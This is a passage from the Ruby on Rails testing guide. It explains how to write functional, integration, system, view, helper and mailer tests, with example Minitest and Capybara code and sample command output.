* `session` - Any object living in session variables

As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name. For example:

```
flash["gordon"]               # or flash[:gordon]
session["shmession"]          # or session[:shmession]
cookies["are_good_for_u"]     # or cookies[:are_good_for_u]
```

### [5.5. Instance Variables](#instance-variables)

You also have access to three instance variables in your functional tests after a request is made:

* `@controller` - The controller processing the request
* `@request` - The request object
* `@response` - The response object

```
class ArticlesControllerTest < ActionDispatch::IntegrationTest
  test "should get index" do
    get articles_url

    assert_equal "index", @controller.action_name
    assert_equal "application/x-www-form-urlencoded", @request.media_type
    assert_match "Articles", @response.body
  end
end
```

### [5.6. Setting Headers and CGI Variables](#setting-headers-and-cgi-variables)

HTTP headers are pieces of information sent along with HTTP requests to provide important metadata. CGI variables are environment variables used to exchange information between the web server and the application.

HTTP headers and CGI variables can be tested by being passed as headers:

```
# setting an HTTP Header
get articles_url, headers: { "Content-Type": "text/plain" } # simulate the request with custom header

# setting a CGI variable
get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable
```

### [5.7. Testing `flash` Notices](#testing-flash-notices)

As can be seen in the [testing other request objects section](#testing-other-request-objects), one of the three hash objects that is accessible in the tests is `flash`. This section outlines how to test the appearance of a `flash` message in our blog application whenever someone successfully creates a new article.

First, an assertion should be added to the `test_should_create_article` test:

```
test "should create article" do
  assert_difference("Article.count") do
    post articles_url, params: { article: { title: "Some title" } }
  end

  assert_redirected_to article_path(Article.last)
  assert_equal "Article was successfully created.", flash[:notice]
end
```

If the test is run now, it should fail:

```
$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Running 1 tests in a single process (parallelization threshold is 50)
Run options: -n test_should_create_article --seed 32266

# Running:

F

Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s.

  1) Failure:
ArticlesControllerTest#test_should_create_article [/test/controllers/articles_controller_test.rb:16]:
--- expected
+++ actual
@@ -1 +1 @@
-"Article was successfully created."
+nil

1 runs, 4 assertions, 1 failures, 0 errors, 0 skips
```

Now implement the flash message in the controller. The `:create` action should look like this:

```
def create
  @article = Article.new(article_params)

  if @article.save
    flash[:notice] = "Article was successfully created."
    redirect_to @article
  else
    render "new"
  end
end
```

Now, if the tests are run they should pass:

```
$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Running 1 tests in a single process (parallelization threshold is 50)
Run options: -n test_should_create_article --seed 18981

# Running:

.

Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.

1 runs, 4 assertions, 0 failures, 0 errors, 0 skips
```

If you generated your controller using the scaffold generator, the flash message will already be implemented in your `create` action.

### [5.8. Tests for `show`, `update`, and `delete` Actions](#tests-for-show-update-and-delete-actions)

So far in the guide tests for the `:index` as well as the`:create` action have been outlined. What about the other actions?

You can write a test for `:show` as follows:

```
test "should show article" do
  article = articles(:one)
  get article_url(article)
  assert_response :success
end
```

If you remember from our discussion earlier on [fixtures](#fixtures), the `articles()` method will provide access to the articles fixtures.

How about deleting an existing article?

```
test "should delete article" do
  article = articles(:one)
  assert_difference("Article.count", -1) do
    delete article_url(article)
  end

  assert_redirected_to articles_path
end
```

Here is a test for updating an existing article:

```
test "should update article" do
  article = articles(:one)

  patch article_url(article), params: { article: { title: "updated" } }

  assert_redirected_to article_path(article)
  # Reload article to refresh data and assert that title is updated.
  article.reload
  assert_equal "updated", article.title
end
```

Notice that there is some duplication in these three tests - they both access the same article fixture data. It is possible to DRY ('Don't Repeat Yourself') the implementation by using the `setup` and `teardown` methods provided by `ActiveSupport::Callbacks`.

The tests might look like this:

```
require "test_helper"

class ArticlesControllerTest < ActionDispatch::IntegrationTest
  # called before every single test
  setup do
    @article = articles(:one)
  end

  # called after every single test
  teardown do
    # when controller is using cache it may be a good idea to reset it afterwards
    Rails.cache.clear
  end

  test "should show article" do
    # Reuse the @article instance variable from setup
    get article_url(@article)
    assert_response :success
  end

  test "should destroy article" do
    assert_difference("Article.count", -1) do
      delete article_url(@article)
    end

    assert_redirected_to articles_path
  end

  test "should update article" do
    patch article_url(@article), params: { article: { title: "updated" } }

    assert_redirected_to article_path(@article)
    # Reload association to fetch updated data and assert that title is updated.
    @article.reload
    assert_equal "updated", @article.title
  end
end
```

Similar to other callbacks in Rails, the `setup` and `teardown` methods can also accept a block, lambda, or a method name as a symbol to be called.

## [6. Integration Testing](#integration-testing)

Integration tests take functional controller tests one step further - they focus on testing how several parts of an application interact, and are generally used to test important workflows. Rails integration tests are stored in the `test/integration` directory.

Rails provides a generator to create an integration test skeleton as follows:

```
$ bin/rails generate integration_test user_flows
      invoke  test_unit
      create  test/integration/user_flows_test.rb
```

Here's what a freshly generated integration test looks like:

```
require "test_helper"

class UserFlowsTest < ActionDispatch::IntegrationTest
  # test "the truth" do
  #   assert true
  # end
end
```

Here the test is inheriting from [`ActionDispatch::IntegrationTest`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/IntegrationTest.html). This makes some additional [helpers available for integration tests](testing.html#helpers-available-for-integration-tests) alongside the standard testing helpers.

### [6.1. Implementing an Integration Test](#implementing-an-integration-test)

Let's add an integration test to our blog application, by starting with a basic workflow of creating a new blog article to verify that everything is working properly.

Start by generating the integration test skeleton:

```
$ bin/rails generate integration_test blog_flow
```

It should have created a test file placeholder. With the output of the previous command you should see:

```
      invoke  test_unit
      create    test/integration/blog_flow_test.rb
```

Now open that file and write the first assertion:

```
require "test_helper"

class BlogFlowTest < ActionDispatch::IntegrationTest
  test "can see the welcome page" do
    get "/"
    assert_dom "h1", "Welcome#index"
  end
end
```

If you visit the root path, you should see `welcome/index.html.erb` rendered for the view. So this assertion should pass.

The assertion `assert_dom` (aliased to `assert_select`) is available in integration tests to check the presence of key HTML elements and their content.

#### [6.1.1. Creating Articles Integration](#creating-articles-integration)

To test the ability to create a new article in our blog and display the resulting article, see the example below:

```
test "can create an article" do
  get "/articles/new"
  assert_response :success

  post "/articles",
    params: { article: { title: "can create", body: "article successfully." } }
  assert_response :redirect
  follow_redirect!
  assert_response :success
  assert_dom "p", "Title:\n  can create"
end
```

The `:new` action of our Articles controller is called first, and the response should be successful.

Next, a `post` request is made to the `:create` action of the Articles controller:

```
post "/articles",
  params: { article: { title: "can create", body: "article successfully." } }
assert_response :redirect
follow_redirect!
```

The two lines following the request are to handle the redirect setup when creating a new article.

Don't forget to call `follow_redirect!` if you plan to make subsequent requests after a redirect is made.

Finally it can be asserted that the response was successful and the newly-created article is readable on the page.

A very small workflow for visiting our blog and creating a new article was successfully tested above. To extend this, additional tests could be added for features like adding comments, editing comments or removing articles. Integration tests are a great place to experiment with all kinds of use cases for our applications.

### [6.2. Helpers Available for Integration Tests](#helpers-available-for-integration-tests)

There are numerous helpers to choose from for use in integration tests. Some include:

* [`ActionDispatch::Integration::Runner`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Integration/Runner.html) for helpers relating to the integration test runner, including creating a new session.

* [`ActionDispatch::Integration::RequestHelpers`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Integration/RequestHelpers.html) for performing requests.

* [`ActionDispatch::TestProcess::FixtureFile`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/TestProcess/FixtureFile.html) for uploading files.

* [`ActionDispatch::Integration::Session`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Integration/Session.html) to modify sessions or the state of the integration tests.

## [7. System Testing](#system-testing)

Similarly to integration testing, system testing allows you to test how the components of your app work together, but from the point of view of a user. It does this by running tests in either a real or a headless browser (a browser which runs in the background without opening a visible window). System tests use [Capybara](https://www.rubydoc.info/github/jnicklas/capybara) under the hood.

### [7.1. When to Use System Tests](#when-to-use-system-tests)

System tests provide the most realistic testing experience as they test your application from a user's perspective. However, they come with important trade-offs:

* **They are significantly slower** than unit and integration tests
* **They can be brittle** and prone to failures from timing issues or UI changes
* **They require more maintenance** as your UI evolves

Given these trade-offs, **system tests should be reserved for critical user paths** rather than being created for every feature. Consider writing system tests for:

* **Core business workflows** (e.g., user registration, checkout process, payment flows)
* **Critical user interactions** that integrate multiple components
* **Complex JavaScript interactions** that can't be tested at lower levels

For most features, integration tests provide a better balance of coverage and maintainability. Save system tests for scenarios where you need to verify the complete user experience.

### [7.2. Generating System Tests](#generating-system-tests)

Rails no longer generates system tests by default when using scaffolds. This change reflects the best practice of using system tests sparingly. You can generate system tests in two ways:

1. **When scaffolding**, explicitly enable system tests:

   ```
   $ bin/rails generate scaffold Article title:string body:text --system-tests=true
   ```

2. **Generate system tests independently** for critical features:

   ```
   $ bin/rails generate system_test articles
   ```

Rails system tests are stored in the `test/system` directory in your application. To generate a system test skeleton, run the following command:

```
$ bin/rails generate system_test users
      invoke  test_unit
      create    test/application_system_test_case.rb
      create    test/system/users_test.rb
```

Here's what a freshly generated system test looks like:

```
require "application_system_test_case"

class UsersTest < ApplicationSystemTestCase
  # test "visiting the index" do
  #   visit users_url
  #
  #   assert_dom "h1", text: "Users"
  # end
end
```

By default, system tests are run with the Selenium driver, using the Chrome browser, and a screen size of 1400x1400. The next section explains how to change the default settings.

### [7.3. Changing the Default Settings](#changing-the-default-settings)

Rails makes changing the default settings for system tests very simple. All the setup is abstracted away so you can focus on writing your tests.

When you generate system tests, an `application_system_test_case.rb` file is created in the test directory. This is where all the configuration for your system tests should live.

If you want to change the default settings, you can change what the system tests are "driven by". If you want to change the driver from Selenium to Cuprite, you'd add the [`cuprite`](https://github.com/rubycdp/cuprite) gem to your `Gemfile`. Then in your `application_system_test_case.rb` file you'd do the following:

```
require "test_helper"
require "capybara/cuprite"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :cuprite
end
```

The driver name is a required argument for `driven_by`. The optional arguments that can be passed to `driven_by` are `:using` for the browser (this will only be used by Selenium), `:screen_size` to change the size of the screen for screenshots, and `:options` which can be used to set options supported by the driver.

```
require "test_helper"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :firefox
end
```

If you want to use a headless browser, you could use Headless Chrome or Headless Firefox by adding `headless_chrome` or `headless_firefox` in the `:using` argument.

```
require "test_helper"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :headless_chrome
end
```

If you want to use a remote browser, e.g. [Headless Chrome in Docker](https://github.com/SeleniumHQ/docker-selenium), you have to add a remote `url` and set `browser` as remote through `options`.

```
require "test_helper"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  url = ENV.fetch("SELENIUM_REMOTE_URL", nil)
  options = if url
    { browser: :remote, url: url }
  else
    { browser: :chrome }
  end
  driven_by :selenium, using: :headless_chrome, options: options
end
```

Now you should get a connection to the remote browser.

```
$ SELENIUM_REMOTE_URL=http://localhost:4444/wd/hub bin/rails test:system
```

If your application is remote, e.g. within a Docker container, Capybara needs more input about how to [call remote servers](https://github.com/teamcapybara/capybara#calling-remote-servers).

```
require "test_helper"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  setup do
      Capybara.server_host = "0.0.0.0" # bind to all interfaces
      Capybara.app_host = "http://#{IPSocket.getaddress(Socket.gethostname)}" if ENV["SELENIUM_REMOTE_URL"].present?
    end
  # ...
end
```

Now you should get a connection to a remote browser and server, regardless if it is running in a Docker container or CI.

If your Capybara configuration requires more setup than provided by Rails, this additional configuration can be added into the `application_system_test_case.rb` file.

Please see [Capybara's documentation](https://github.com/teamcapybara/capybara#setup) for additional settings.

### [7.4. Implementing a System Test](#implementing-a-system-test)

This section will demonstrate how to add a system test to your application, which tests a visit to the index page to create a new blog article.

The scaffold generator no longer creates system tests by default. To include system tests when scaffolding, use the `--system-tests=true` option. Otherwise, create system tests manually for your critical user paths.

```
$ bin/rails generate system_test articles
```

It should have created a test file placeholder. With the output of the previous command you should see:

```
      invoke  test_unit
      create    test/application_system_test_case.rb
      create    test/system/articles_test.rb
```

Now, let's open that file and write the first assertion:

```
require "application_system_test_case"

class ArticlesTest < ApplicationSystemTestCase
  test "viewing the index" do
    visit articles_path
    assert_selector "h1", text: "Articles"
  end
end
```

The test should see that there is an `h1` on the articles index page and pass.

Run the system tests.

```
$ bin/rails test:system
```

By default, running `bin/rails test` won't run your system tests. Make sure to run `bin/rails test:system` to actually run them. You can also run `bin/rails test:all` to run all tests, including system tests.

#### [7.4.1. Creating Articles System Test](#creating-articles-system-test)

Now you can test the flow for creating a new article.

```
test "should create Article" do
  visit articles_path

  click_on "New Article"

  fill_in "Title", with: "Creating an Article"
  fill_in "Body", with: "Created this article successfully!"

  click_on "Create Article"

  assert_text "Creating an Article"
end
```

The first step is to call `visit articles_path`. This will take the test to the articles index page.

Then the `click_on "New Article"` will find the "New Article" button on the index page. This will redirect the browser to `/articles/new`.

Then the test will fill in the title and body of the article with the specified text. Once the fields are filled in, "Create Article" is clicked on which will send a POST request to `/articles/create`.

This redirects the user back to the articles index page, and there it is asserted that the text from the new article's title is on the articles index page.

#### [7.4.2. Testing for Multiple Screen Sizes](#testing-for-multiple-screen-sizes)

If you want to test for mobile sizes in addition to testing for desktop, you can create another class that inherits from `ActionDispatch::SystemTestCase` and use it in your test suite. In this example, a file called `mobile_system_test_case.rb` is created in the `/test` directory with the following configuration.

```
require "test_helper"

class MobileSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :chrome, screen_size: [375, 667]
end
```

To use this configuration, create a test inside `test/system` that inherits from `MobileSystemTestCase`. Now you can test your app using multiple different configurations.

```
require "mobile_system_test_case"

class PostsTest < MobileSystemTestCase
  test "visiting the index" do
    visit posts_url
    assert_selector "h1", text: "Posts"
  end
end
```

#### [7.4.3. Capybara Assertions](#capybara-assertions)

Here's an extract of the assertions provided by [`Capybara`](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions) which can be used in system tests.

| Assertion                                                         | Purpose                                                               |
| ----------------------------------------------------------------- | --------------------------------------------------------------------- |
| `assert_button(locator = nil, **options, &optional_filter_block)` | Checks if the page has a button with the given text, value or id.     |
| `assert_current_path(string, **options)`                          | Asserts that the page has the given path.                             |
| `assert_field(locator = nil, **options, &optional_filter_block)`  | Checks if the page has a form field with the given label, name or id. |
| `assert_link(locator = nil, **options, &optional_filter_block)`   | Checks if the page has a link with the given text or id.              |
| `assert_selector(*args, &optional_filter_block)`                  | Asserts that a given selector is on the page.                         |
| `assert_table(locator = nil, **options, &optional_filter_block`   | Checks if the page has a table with the given id or caption.          |
| `assert_text(type, text, **options)`                              | Asserts that the page has the given text content.                     |

#### [7.4.4. Screenshot Helper](#screenshot-helper)

The [`ScreenshotHelper`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html) is a helper designed to capture screenshots of your tests. This can be helpful for viewing the browser at the point a test failed, or to view screenshots later for debugging.

Two methods are provided: `take_screenshot` and `take_failed_screenshot`. `take_failed_screenshot` is automatically included in `before_teardown` inside Rails.

The `take_screenshot` helper method can be included anywhere in your tests to take a screenshot of the browser.

#### [7.4.5. Taking It Further](#taking-it-further)

System testing is similar to [integration testing](#integration-testing) in that it tests the user's interaction with your controller, model, and view, but system testing tests your application as if a real user were using it. With system tests, you can test anything that a user would do in your application such as commenting, deleting articles, publishing draft articles, etc.

## [8. Test Helpers](#test-helpers)

To avoid code duplication, you can add your own test helpers. Here is an example for signing in:

```
# test/test_helper.rb

module SignInHelper
  def sign_in_as(user)
    post sign_in_url(email: user.email, password: user.password)
  end
end

class ActionDispatch::IntegrationTest
  include SignInHelper
end
```

```
require "test_helper"

class ProfileControllerTest < ActionDispatch::IntegrationTest
  test "should show profile" do
    # helper is now reusable from any controller test case
    sign_in_as users(:david)

    get profile_url
    assert_response :success
  end
end
```

### [8.1. Using Separate Files](#using-separate-files)

If you find your helpers are cluttering `test_helper.rb`, you can extract them into separate files. A good place to store them is `test/lib` or `test/test_helpers`.

```
# test/test_helpers/multiple_assertions.rb
module MultipleAssertions
  def assert_multiple_of_forty_two(number)
    assert (number % 42 == 0), "expected #{number} to be a multiple of 42"
  end
end
```

These helpers can then be explicitly required and included as needed:

```
require "test_helper"
require "test_helpers/multiple_assertions"

class NumberTest < ActiveSupport::TestCase
  include MultipleAssertions

  test "420 is a multiple of 42" do
    assert_multiple_of_forty_two 420
  end
end
```

They can also continue to be included directly into the relevant parent classes:

```
# test/test_helper.rb
require "test_helpers/sign_in_helper"

class ActionDispatch::IntegrationTest
  include SignInHelper
end
```

### [8.2. Eagerly Requiring Helpers](#eagerly-requiring-helpers)

You may find it convenient to eagerly require helpers in `test_helper.rb` so your test files have implicit access to them. This can be accomplished using globbing, as follows

```
# test/test_helper.rb
Dir[Rails.root.join("test", "test_helpers", "**", "*.rb")].each { |file| require file }
```

This has the downside of increasing the boot-up time, as opposed to manually requiring only the necessary files in your individual tests.

## [9. Testing Routes](#testing-routes)

Like everything else in your Rails application, you can test your routes. Route tests are stored in `test/controllers/` or are part of controller tests. If your application has complex routes, Rails provides a number of useful helpers to test them.

For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html).

## [10. Testing Views](#testing-views)

Testing the response to your request by asserting the presence of key HTML elements and their content is one way to test the views of your application. Like route tests, view tests are stored in `test/controllers/` or are part of controller tests.

### [10.1. Querying the HTML](#querying-the-html)

Methods like `assert_dom` and `assert_dom_equal` allow you to query HTML elements of the response by using a simple yet powerful syntax.

`assert_dom` is an assertion that will return true if matching elements are found. For example, you could verify that the page title is "Welcome to the Rails Testing Guide" as follows:

```
assert_dom "title", "Welcome to the Rails Testing Guide"
```

You can also use nested `assert_dom` blocks for deeper investigation.

In the following example, the inner `assert_dom` for `li.menu_item` runs within the collection of elements selected by the outer block:

```
assert_dom "ul.navigation" do
  assert_dom "li.menu_item"
end
```

A collection of selected elements may also be iterated through so that `assert_dom` may be called separately for each element. For example, if the response contains two ordered lists, each with four nested list elements then the following tests will both pass.

```
assert_dom "ol" do |elements|
  elements.each do |element|
    assert_dom element, "li", 4
  end
end

assert_dom "ol" do
  assert_dom "li", 8
end
```

The `assert_dom_equal` method compares two HTML strings to see if they are equal:

```
assert_dom_equal '<a href="http://www.further-reading.com">Read more</a>',
  link_to("Read more", "http://www.further-reading.com")
```

For more advanced usage, refer to the [`rails-dom-testing` documentation](https://github.com/rails/rails-dom-testing).

In order to integrate with [rails-dom-testing](https://github.com/rails/rails-dom-testing), tests that inherit from `ActionView::TestCase` declare a `document_root_element` method that returns the rendered content as an instance of a [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html):

```
test "renders a link to itself" do
  article = Article.create! title: "Hello, world"

  render "articles/article", article: article
  anchor = document_root_element.at("a")

  assert_equal article.name, anchor.text
  assert_equal article_url(article), anchor["href"]
end
```

If your application depends on [Nokogiri >= 1.14.0](https://github.com/sparklemotion/nokogiri/releases/tag/v1.14.0) or higher, and [minitest >= 5.18.0](https://github.com/minitest/minitest/blob/v5.18.0/History.rdoc#5180--2023-03-04-), `document_root_element` supports [Ruby's Pattern Matching](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html):

```
test "renders a link to itself" do
  article = Article.create! title: "Hello, world"

  render "articles/article", article: article
  anchor = document_root_element.at("a")
  url = article_url(article)

  assert_pattern do
    anchor => { content: "Hello, world", attributes: [{ name: "href", value: url }] }
  end
end
```

If you'd like to access the same [Capybara-powered Assertions](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions) that your [System Testing](#system-testing) tests utilize, you can define a base class that inherits from `ActionView::TestCase` and transforms the `document_root_element` into a `page` method:

```
# test/view_partial_test_case.rb

require "test_helper"
require "capybara/minitest"

class ViewPartialTestCase < ActionView::TestCase
  include Capybara::Minitest::Assertions

  def page
    Capybara.string(rendered)
  end
end

# test/views/article_partial_test.rb

require "view_partial_test_case"

class ArticlePartialTest < ViewPartialTestCase
  test "renders a link to itself" do
    article = Article.create! title: "Hello, world"

    render "articles/article", article: article

    assert_link article.title, href: article_url(article)
  end
end
```

More information about the assertions included by Capybara can be found in the [Capybara Assertions](#capybara-assertions) section.

### [10.2. Parsing View Content](#parsing-view-content)

Starting in Action View version 7.1, the `rendered` helper method returns an object capable of parsing the view partial's rendered content.

To transform the `String` content returned by the `rendered` method into an object, define a parser by calling [`register_parser`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/TestCase/Behavior/ClassMethods.html#method-i-register_parser). Calling `register_parser :rss` defines a `rendered.rss` helper method. For example, to parse rendered [RSS content](https://www.rssboard.org/rss-specification) into an object with `rendered.rss`, register a call to `RSS::Parser.parse`:

```
register_parser :rss, -> rendered { RSS::Parser.parse(rendered) }

test "renders RSS" do
  article = Article.create!(title: "Hello, world")

  render formats: :rss, partial: article

  assert_equal "Hello, world", rendered.rss.items.last.title
end
```

By default, `ActionView::TestCase` defines a parser for:

* `:html` - returns an instance of [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html)
* `:json` - returns an instance of [ActiveSupport::HashWithIndifferentAccess](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/HashWithIndifferentAccess.html)

```
test "renders HTML" do
  article = Article.create!(title: "Hello, world")

  render partial: "articles/article", locals: { article: article }

  assert_pattern { rendered.html.at("main h1") => { content: "Hello, world" } }
end

test "renders JSON" do
  article = Article.create!(title: "Hello, world")

  render formats: :json, partial: "articles/article", locals: { article: article }

  assert_pattern { rendered.json => { title: "Hello, world" } }
end
```

### [10.3. Additional View-Based Assertions](#additional-view-based-assertions)

There are more assertions that are primarily used in testing views:

| Assertion                                                 | Purpose                                                                                                                                                                                                                                                      |
| --------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `assert_dom_email`                                        | Allows you to make assertions on the body of an e-mail.                                                                                                                                                                                                      |
| `assert_dom_encoded`                                      | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.                                                                                         |
| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the *selector*. In the second variant it first matches the base *element* and tries to match the *selector* expression on any of its children. If there are no matches both variants return an empty array. |

Here's an example of using `assert_dom_email`:

```
assert_dom_email do
  assert_dom "small", "Please click the 'Unsubscribe' link if you want to opt-out."
end
```

### [10.4. Testing View Partials](#testing-view-partials)

[Partial](layouts_and_rendering.html#using-partials) templates - usually called "partials" - can break the rendering process into more manageable chunks. With partials, you can extract sections of code from your views to separate files and reuse them in multiple places.

View tests provide an opportunity to test that partials render content the way you expect. View partial tests can be stored in `test/views/` and inherit from `ActionView::TestCase`.

To render a partial, call `render` like you would in a template. The content is available through the test-local `rendered` method:

```
class ArticlePartialTest < ActionView::TestCase
  test "renders a link to itself" do
    article = Article.create! title: "Hello, world"

    render "articles/article", article: article

    assert_includes rendered, article.title
  end
end
```

Tests that inherit from `ActionView::TestCase` also have access to [`assert_dom`](#testing-views) and the [other additional view-based assertions](#additional-view-based-assertions) provided by [rails-dom-testing](https://github.com/rails/rails-dom-testing):

```
test "renders a link to itself" do
  article = Article.create! title: "Hello, world"

  render "articles/article", article: article

  assert_dom "a[href=?]", article_url(article), text: article.title
end
```

### [10.5. Testing View Helpers](#testing-view-helpers)

A helper is a module where you can define methods which are available in your views.

In order to test helpers, all you need to do is check that the output of the helper method matches what you'd expect. Tests related to the helpers are located under the `test/helpers` directory.

Given we have the following helper:

```
module UsersHelper
  def link_to_user(user)
    link_to "#{user.first_name} #{user.last_name}", user
  end
end
```

We can test the output of this method like this:

```
class UsersHelperTest < ActionView::TestCase
  test "should return the user's full name" do
    user = users(:david)

    assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user)
  end
end
```

Moreover, since the test class extends from `ActionView::TestCase`, you have access to Rails' helper methods such as `link_to` or `pluralize`.

## [11. Testing Mailers](#testing-mailers)

Your mailer classes - like every other part of your Rails application - should be tested to ensure that they are working as expected.

The goals of testing your mailer classes are to ensure that:

* emails are being processed (created and sent)
* the email content is correct (subject, sender, body, etc)
* the right emails are being sent at the right times

There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a [fixture](#fixtures)). In the functional tests you don't so much test the details produced by the mailer; instead, you test that the controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

### [11.1. Unit Testing](#unit-testing)

In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

#### [11.1.1. Mailer Fixtures](#mailer-fixtures)

For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output *should* look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.

If you generated your mailer, the generator does not create stub fixtures for the mailers actions. You'll have to create those files yourself as described above.

#### [11.1.2. The Basic Test Case](#the-basic-test-case)

Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend:

```
require "test_helper"

class UserMailerTest < ActionMailer::TestCase
  test "invite" do
    # Create the email and store it for further assertions
    email = UserMailer.create_invite("me@example.com",
                                     "friend@example.com", Time.now)

    # Send the email, then test that it got queued
    assert_emails 1 do
      email.deliver_now
    end

    # Test the body of the sent email contains what we expect it to
    assert_equal ["me@example.com"], email.from
    assert_equal ["friend@example.com"], email.to
    assert_equal "You have been invited by me@example.com", email.subject
    assert_equal read_fixture("invite").join, email.body.to_s
  end
end
```

In the test the email is created and the returned object is stored in the `email` variable. The first assert checks it was sent, then, in the second batch of assertions, the email contents are checked. The helper `read_fixture` is used to read in the content from this file.

`email.body.to_s` is present when there's only one (HTML or text) part present. If the mailer provides both, you can test your fixture against specific parts with `email.text_part.body.to_s` or `email.html_part.body.to_s`.

Here's the content of the `invite` fixture:

```
Hi friend@example.com,

You have been invited.

Cheers!
```

#### [11.1.3. Configuring the Delivery Method for Test](#configuring-the-delivery-method-for-test)

The line `ActionMailer::Base.delivery_method = :test` in `config/environments/test.rb` sets the delivery method to test mode so that the email will not actually be delivered (useful to avoid spamming your users while testing). Instead, the email will be appended to an array (`ActionMailer::Base.deliveries`).

The `ActionMailer::Base.deliveries` array is only reset automatically in `ActionMailer::TestCase` and `ActionDispatch::IntegrationTest` tests. If you want to have a clean slate outside these test cases, you can reset it manually with: `ActionMailer::Base.deliveries.clear`

#### [11.1.4. Testing Enqueued Emails](#testing-enqueued-emails)

You can use the `assert_enqueued_email_with` assertion to confirm that the email has been enqueued with all of the expected mailer method arguments and/or parameterized mailer parameters. This allows you to match any emails that have been enqueued with the `deliver_later` method.

As with the basic test case, we create the email and store the returned object in the `email` variable. The following examples include variations of passing arguments and/or parameters.

This example will assert that the email has been enqueued with the correct arguments:

```
require "test_helper"

class UserMailerTest < ActionMailer::TestCase
  test "invite" do
    # Create the email and store it for further assertions
    email = UserMailer.create_invite("me@example.com", "friend@example.com")

    # Test that the email got enqueued with the correct arguments
    assert_enqueued_email_with UserMailer, :create_invite, args: ["me@example.com", "friend@example.com"] do
      email.deliver_later
    end
  end
end
```

This example will assert that a mailer has been enqueued with the correct mailer method named arguments by passing a hash of the arguments as `args`:

```
require "test_helper"

class UserMailerTest < ActionMailer::TestCase
  test "invite" do
    # Create the email and store it for further assertions
    email = UserMailer.create_invite(from: "me@example.com", to: "friend@example.com")

    # Test that the email got enqueued with the correct named arguments
    assert_enqueued_email_with UserMailer, :create_invite,
    args: [{ from: "me@example.com", to: "friend@example.com" }] do
      email.deliver_later
    end
  end
end
```

This example will assert that a parameterized mailer has been enqueued with the correct parameters and arguments. The mailer parameters are passed as `params` and the mailer method arguments as `args`:

```
require "test_helper"

class UserMailerTest < ActionMailer::TestCase
  test "invite" do
    # Create the email and store it for further assertions
    email = UserMailer.with(all: "good").create_invite("me@example.com", "friend@example.com")

    # Test that the email got enqueued with the correct mailer parameters and arguments
    assert_enqueued_email_with UserMailer, :create_invite,
    params: { all: "good" }, args: ["me@example.com", "friend@example.com"] do
      email.deliver_later
    end
  end
end
```

This example shows an alternative way to test that a parameterized mailer has been enqueued with the correct parameters:

```
require "test_helper"

class UserMailerTest < ActionMailer::TestCase
  test "invite" do
    # Create the email and store it for further assertions
    email = UserMailer.with(to: "friend@example.com").create_invite

    # Test that the email got enqueued with the correct mailer parameters
    assert_enqueued_email_with UserMailer.with(to: "friend@example.com"), :create_invite do
      email.deliver_later
    end
  end
end
```

### [11.2. Functional and System Testing](#functional-and-system-testing)

Unit testing allows us to test the attributes of the email while functional and system testing allows us to test whether user interactions appropriately trigger the email to be delivered. For example, you can check that the invite friend operation is sending an email appropriately:

```
# Integration Test
require "test_helper"

class UsersControllerTest < ActionDispatch::IntegrationTest
  test "invite friend" do
    # Asserts the difference in the ActionMailer::Base.deliveries
    assert_emails 1 do
      post invite_friend_url, params: { email: "friend@example.com" }
    end
  end
end
```

```
# System Test
require "test_helper"

class UsersTest < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :headless_chrome

  test "inviting a friend" do
    visit invite_users_url
    fill_in "Email", with: "friend@example.com"
    assert_emails 1 do
      click_on "Invite"
    end
  end
end
```

The `assert_emails` method is not tied to a particular deliver method and will work with emails delivered with either the `deliver_now` or `deliver_later` method. If we explicitly want to assert that the email has been enqueued we can use the `assert_enqueued_email_with` ([examples above](#testing-enqueued-emails)) or `assert_enqueued_emails` methods. More information can be found in the [documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/TestHelper.html).

## [12. Testing Jobs](#testing-jobs)

